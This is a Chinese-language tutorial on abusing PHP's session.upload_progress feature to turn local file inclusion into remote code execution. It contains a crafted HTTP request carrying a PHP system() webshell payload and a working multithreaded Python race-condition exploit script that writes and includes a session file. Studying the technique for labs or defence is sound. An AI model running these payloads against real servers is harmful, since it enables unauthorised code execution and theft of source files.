利用session.upload_progress进行文件包含和反序列化渗透
文件包含骚姿势——利用session.upload_progress进行文件包含

php中的session.upload_progress

:::warning 此特性自 PHP 5.4.0 后可用。 ::: 在php.ini有以下几个默认选项
https://www.php.net/manual/zh/session.upload-progress.php
https://www.php.net/manual/zh/session.configuration.php

选项 默认配置 简介
session.upload_progress.enabled On 启用上传进度跟踪,把文件上传的详细信息(如上传时间、上传进度等)存储在session当中
session.upload_progress.cleanup On 一旦所有POST数据被读取(即上传完成),立即清理进度信息,即清空对应session文件中的内容,但不会删除该文件本身
session.upload_progress.prefix uploadprogress 用于$_SESSION中的上传进度键的前缀。这个键将与$_POST[ini_get(“session.upload_progress.name”)]的值相连接,以提供一个唯一的索引
session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS 在$_SESSION中用于存储进度信息的键的名称。参见session.upload_progress.prefix。如果$_POST[ini_get(“session.upload_progress.name”)]没有通过或可用,上传进度将不会被记录
当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
session.upload_progress.freq 1% 定义上传进度信息的更新频率。这可以以字节为单位(即 “每100字节后更新进度信息”),或以百分比为单位(即 “每收到整个文件大小的1%后更新进度信息”)
session.upload_progress.min_freq 1 更新之间的最小延迟,单位是秒
session.use_strict_mode 0 session.use_strict_mode 设置是否启用严格 session id 模式。 开启此模式后,模块不会接受未初始化过的 session ID。 从浏览器端传入未初始化的 session ID 后,将会发送一个新的 session ID 给它。 通过 session 启用严格模式可固定 session 以保护应用
session.save_path /tmp 定义了传递给存储处理器的参数。如果选择了默认的 files 文件处理器,则此值是创建文件的路径

session是以文件的形式保存的
php.ini中有个配置项session.save_path,这个里面填写的路径,将会使session文件保存在该路径下。
session文件的命名格式是:sess_[PHPSESSID的值]。每一个文件,里面保存了一个会话的数据。其实只要使用代码$_SESSION['user_id'] = $value;就会促发php的session机制,结果往对应的session文件中写入一个值。

1.session文件默认路径

  • Linux:
    • /tmp(常见)
    • /tmp/sessions/
    • /var/lib/php
    • /var/lib/php/session
    • /var/lib/php/sessions
  • Windows

    • C:\WINDOWS\Temp

      2.session文件名称

      默认文件名称是 sess_[PHPSESSID的值]
      session.use_strict_mode默认值为0, 此时用户是可以自己定义Session ID
      比如,我们在Cookie里设置PHPSESSID=test,PHP将会在服务器上创建一个文件:/tmp/sess_test

      3.session生成机制

  • 代码里面有session_start()在使用类似$_SESSION['user_id'] = $value;这样的操作时会创建session文件

  • 如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start(),但默认情况下,这个选项都是关闭的

    4.如何控制session文件内容

  • session的key或者value可控

  • 用session.upload_progress

session.upload_progress.enabled = on的配置下,upload_progress功能开始意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度,上传文件名等)存储在session当中 ,但是要注意session.upload_progress.cleanup = on配置,on表示当文件上传结束后,php将会立即清空对应session文件中的内容(但是可以利用条件竞争来读取)

session.upload_progress.prefix = 'upload_progress_' session.upload_progress.name='PHP_SESSION_UPLOAD_PROGRESS'的条件下,上传文件:

  1. // PHPSESSION = test
  2. <form action="upload.php" method="POST" enctype="multipart/form-data">
  3. <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
  4. <input type="file" name="file1" />
  5. <input type="file" name="file2" />
  6. <input type="submit" />
  7. </form>

就会在session的session[‘upload_progress_123’]中储存一些本次上传相关的信息,储存在/tmp/sess_test
在session中存放的数据看上去是这样子的:
image.png

示例

  1. <html>
  2. <body>
  3. <form action="a.php" method="POST" enctype="multipart/form-data">
  4. <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
  5. <input type="file" name="file" />
  6. <input type="submit" value="submit" />
  7. </form>
  8. </body>
  9. </html>

数据包如下
image.png

  1. POST /a.php?file=/Applications/MAMP/tmp/php/sess_haha HTTP/1.1
  2. Host: localhost
  3. Cookie: PHPSESSID=haha
  4. Content-Length: 339
  5. Content-Type: multipart/form-data; boundary=----WebKitFormBoundarya4AE1GRBkEYq7gSi
  6. ------WebKitFormBoundarya4AE1GRBkEYq7gSi
  7. Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
  8. <?php system('ls');?>
  9. ------WebKitFormBoundarya4AE1GRBkEYq7gSi
  10. Content-Disposition: form-data; name="file"; filename="shell.php"
  11. Content-Type: text/php
  12. This_Is_File_Content
  13. ------WebKitFormBoundarya4AE1GRBkEYq7gSi--

此时临时目录中有两个文件
image.png
其中,sess_haha文件内容如下

  1. upload_progress_<?php system('ls');?>|a:5:{s:10:"start_time";i:1638613364;s:14:"content_length";i:339;s:15:"bytes_processed";i:339;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:9:"shell.php";s:8:"tmp_name";s:36:"/Applications/MAMP/tmp/php/phpBXsoEv";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1638613364;s:15:"bytes_processed";i:21;}}}

phpBXsoEv文件内容为

  1. This_Is_File_Content

文件包含只能包含确定的文件名,所以不能包含临时文件phpBXsoEv,因为文件上传产生的临时文件名不确定,为php+6位大小写随机字母
因此只能包含我们能够控制文件名的文件,即sess_haha,我们可以通过设置Cookie: PHPSESSID=haha达到控制文件名的作用,sess_haha这个文件内容包含的是文件上传的详细信息(如上传时间、上传进度等),但是文件内容也是我们可以控制的,通过控制PHP_SESSION_UPLOAD_PROGRESS我们可以写入一句话木马,达到rce的目的

脚本利用

  1. import io
  2. import requests
  3. import threading
  4. sessID = 'flag'
  5. url = ''
  6. def write(session):
  7. while event.isSet():
  8. f = io.BytesIO(b'a' * 1024 * 50)
  9. response = session.post(
  10. url,
  11. cookies={'PHPSESSID': sessID},
  12. data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat *.php");?>'},
  13. files={'file': ('test.txt', f)}
  14. )
  15. def read(session):
  16. while event.isSet():
  17. response = session.get(url + '?file=/tmp/sess_{}'.format(sessID))
  18. if 'test' in response.text:
  19. print(response.text)
  20. event.clear()
  21. else:
  22. print('[*]retrying...')
  23. if __name__ == '__main__':
  24. event = threading.Event()
  25. event.set()
  26. with requests.session() as session:
  27. for i in range(1, 30):
  28. threading.Thread(target=write, args=(session,)).start()
  29. for i in range(1, 30):
  30. threading.Thread(target=read, args=(session,)).start()